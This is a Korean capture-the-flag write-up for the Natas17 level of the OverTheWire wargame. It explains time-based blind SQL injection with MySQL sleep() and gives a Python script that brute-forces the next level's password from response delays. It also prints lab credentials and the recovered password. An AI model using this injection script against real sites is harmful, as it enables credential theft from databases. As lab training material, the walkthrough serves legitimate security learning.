Natas15의 재탕이다. 소스를 보고 어떻게 꼬아놓았는지 알아보자:
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
결과값 부분을 주석 처리해서 아무런 출력도 돌려주지 않는다. 그럼 어떻게 쿼리 결과를 알 수 있을까?
https://bryan7.tistory.com/103
MySQL 상에서 쿼리 결과를 지연시키는 SLEEP 쿼리문을 사용하여 서버가 돌려주는 시간이 얼마나 걸리는지 보면 될 것이다.
SELECT * from users where username="natas18" and sleep(3)=0#
위와 같은 SQL 쿼리를 날린다면 natas18이라는 username을 가진 user가 존재한다면 3초 뒤 query 결과가 반환될 것이고
natas18이라는 username을 가진 user가 존재하지 않는다면 query 결과가 바로 반환될 것이다.
Natas15의 스크립트를 조금만 수정하면 Natas18의 비밀번호를 알아낼 수 있다.
import requests
import time
password = ""
chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
for a in range(0, 32) :
for b, in chars:
postdata = {'username': 'natas18" and password like binary "' + password + b + '%" and sleep(15) #'}
starttime = time.perf_counter()
r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'), data=postdata)
delay = time.perf_counter() - starttime
print("Trying " + password + b + " as password..." + str(delay))
if delay >= 14:
password = password + b
break
실행 결과로 얻어낸 password가 맞는지 아래 query를 날려서 확인하자.
password가 맞다면 15초의 딜레이 후 페이지가 로딩될 것이다:
natas18" and password like binary "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP" and sleep(15) #